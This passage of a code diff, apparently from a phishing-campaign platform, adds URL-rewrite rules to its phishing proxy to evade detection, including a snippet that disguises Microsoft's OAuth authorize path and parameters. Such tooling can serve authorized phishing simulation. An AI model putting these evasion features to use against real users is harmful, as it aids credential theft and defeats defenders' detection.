nil { + return err + } + // validate response rules if err := m.validateResponseRules(domainConfig.Response); err != nil { return err @@ -1359,6 +1473,10 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err if err := m.validateReplaceRules(config.Global.Rewrite); err != nil { return err } + // validate global URL rewrite rules + if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil { + return err + } // validate global response rules if err := m.validateResponseRules(config.Global.Response); err != nil { return err diff --git a/backend/service/templateService.go b/backend/service/templateService.go index e4e5c40..dc91909 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -7,6 +7,7 @@ import ( "html" "io" "math/rand" + "net/url" "strings" "text/template" "time" @@ -304,7 +305,28 @@ func (t *Template) CreatePhishingPageWithCampaign( } urlIdentifier := campaignTemplate.URLIdentifier.Name.MustGet() stateIdentifier := campaignTemplate.StateIdentifier.Name.MustGet() - url := fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, stateParam) + + // construct URL with original path preserved + fullURL := baseURL + urlPath + + // parse existing query parameters to avoid duplicates + parsedURL, err := url.Parse(fullURL) + if err != nil { + return w, fmt.Errorf("failed to parse URL for parameter checking: %w", err) + } + + queryParams := parsedURL.Query() + + // only add campaign parameters if they don't already exist + if !queryParams.Has(urlIdentifier) { + queryParams.Set(urlIdentifier, id) + } + if !queryParams.Has(stateIdentifier) { + queryParams.Set(stateIdentifier, stateParam) + } + + parsedURL.RawQuery = queryParams.Encode() + finalURL := parsedURL.String() // create deny URL if campaign and deny page exist denyURL := "" @@ -314,7 +336,15 @@ func (t *Template) CreatePhishingPageWithCampaign( campaignID := campaign.ID.MustGet() denyStateParam, encErr := utils.Encrypt("deny", utils.UUIDToSecret(&campaignID)) if encErr == nil { - denyURL = fmt.Sprintf("%s?%s=%s&%s=%s", baseURL, urlIdentifier, id, stateIdentifier, denyStateParam) + // create deny URL with proper parameter handling + denyParsedURL, _ := url.Parse(fullURL) + denyQueryParams := denyParsedURL.Query() + if !denyQueryParams.Has(urlIdentifier) { + denyQueryParams.Set(urlIdentifier, id) + } + denyQueryParams.Set(stateIdentifier, denyStateParam) // always set deny state + denyParsedURL.RawQuery = denyQueryParams.Encode() + denyURL = denyParsedURL.String() } } } @@ -329,7 +359,7 @@ func (t *Template) CreatePhishingPageWithCampaign( data := t.newTemplateDataMapWithDenyURL( id, baseURL, - url, + finalURL, denyURL, recipient, "", // trackingPixelPath diff --git a/frontend/src/lib/utils/proxyYamlCompletion.js b/frontend/src/lib/utils/proxyYamlCompletion.js index 4d7962f..77ac008 100644 --- a/frontend/src/lib/utils/proxyYamlCompletion.js +++ b/frontend/src/lib/utils/proxyYamlCompletion.js @@ -112,6 +112,15 @@ export class ProxyYamlCompletionProvider { if (context === 'response') { return this.getNewResponseSuggestions(range); } + if (context === 'rewrite_urls') { + return this.getNewRewriteUrlsSuggestions(range); + } + if ( + context === 'query' && + this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls' + ) { + return this.getNewQueryMappingSuggestions(range); + } } // Handle field completions based on context @@ -134,6 +143,14 @@ export class ProxyYamlCompletionProvider { return this.getRewriteSuggestions(range); case 'response': return this.getResponseSuggestions(range); + case 'rewrite_urls': + return this.getRewriteUrlsSuggestions(range); + case 'query': + // Check if we're in a rewrite_urls context + if (this.findParentSection(linesAbove, currentIndent - 2) === 'rewrite_urls') { + return this.getQueryMappingSuggestions(range); + } + return []; default: return []; } @@ -167,9 +184,11 @@ export class ProxyYamlCompletionProvider { if (key === 'access') return 'access'; if (key === 'capture') return 'capture'; if (key === 'rewrite') return 'rewrite'; + if (key === 'rewrite_urls') return 'rewrite_urls'; if (key === 'response') return 'response'; if (key === 'on_deny') return 'on_deny'; if (key === 'paths') return 'paths'; + if (key === 'query') return 'query'; } } @@ -231,6 +250,13 @@ export class ProxyYamlCompletionProvider { insertText: 'response:', documentation: 'Global response rules', range + }, + { + label: 'rewrite_urls', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'rewrite_urls:', + documentation: 'Global URL rewrite rules for anti-detection', + range } ]; } @@ -271,6 +297,13 @@ export class ProxyYamlCompletionProvider { insertText: 'response:', documentation: 'Domain response rules', range + }, + { + label: 'rewrite_urls', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'rewrite_urls:', + documentation: 'Domain URL rewrite rules for anti-detection', + range } ]; } @@ -567,6 +600,97 @@ export class ProxyYamlCompletionProvider { ]; } + getRewriteUrlsSuggestions(range) { + return [ + { + label: 'find', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'find: "^/path/to/match$"', + documentation: 'Regex pattern to match URL path', + range + }, + { + label: 'replace', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'replace: "/new/path"', + documentation: 'Replacement path for matched URLs', + range + }, + { + label: 'query', + kind: this.monaco.languages.CompletionItemKind.Module, + insertText: 'query:', + documentation: 'Query parameter mappings', + range + }, + { + label: 'filter', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'filter: ["client_id", "state"]', + documentation: 'Query parameters to keep (if empty, keep all)', + range + } + ]; + } + + getNewRewriteUrlsSuggestions(range) { + return [ + { + label: 'url rewrite rule', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: + 'find: "/common/oauth2/v2\\.0/authorize"\n replace: "/signin"\n query:\n - find: "response_type"\n replace: "type"\n filter: ["client_id", "state"]', + documentation: 'New URL rewrite rule for anti-detection', + range + }, + { + label: 'simple path rewrite', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "/original/path"\n replace: "/new/path"', + documentation: 'Simple path rewrite without query changes', + range + } + ]; + } + + getQueryMappingSuggestions(range) { + return [ + { + label: 'find', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'find: "client_id"', + documentation: 'Original query parameter name to find', + range + }, + { + label: 'replace', + kind: this.monaco.languages.CompletionItemKind.Property, + insertText: 'replace: "app_id"', + documentation: 'New query parameter name to replace with', + range + } + ]; + } + + getNewQueryMappingSuggestions(range) { + return [ + { + label: 'query mapping', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "client_id"\n replace: "app_id"', + documentation: 'Map query parameter names for anti-detection', + range + }, + { + label: 'oauth parameter mapping', + kind: this.monaco.languages.CompletionItemKind.Snippet, + insertText: 'find: "response_type"\n replace: "type"', + documentation: 'Common OAuth parameter mapping', + range + } + ]; + } + getModeSuggestions(range) { return [ { @@ -824,7 +948,10 @@ export class ProxyYamlCompletionProvider { action: 'DOM action: setText, setHtml, setAttr, removeAttr, addClass, removeClass, remove', target: 'Target matching: "first", "last", "all" (default), "1,3,5" (specific), "2-4" (range)', - to: 'Target phishing domain for this original domain' + to: 'Target phishing domain for this original domain', + rewrite_urls: 'URL rewrite rules for anti-detection - changes paths and query parameters', + query: 'Query parameter mappings for URL rewriting', + filter: 'Query parameters to keep (if empty, keep all)' }; return hoverData[word] || null;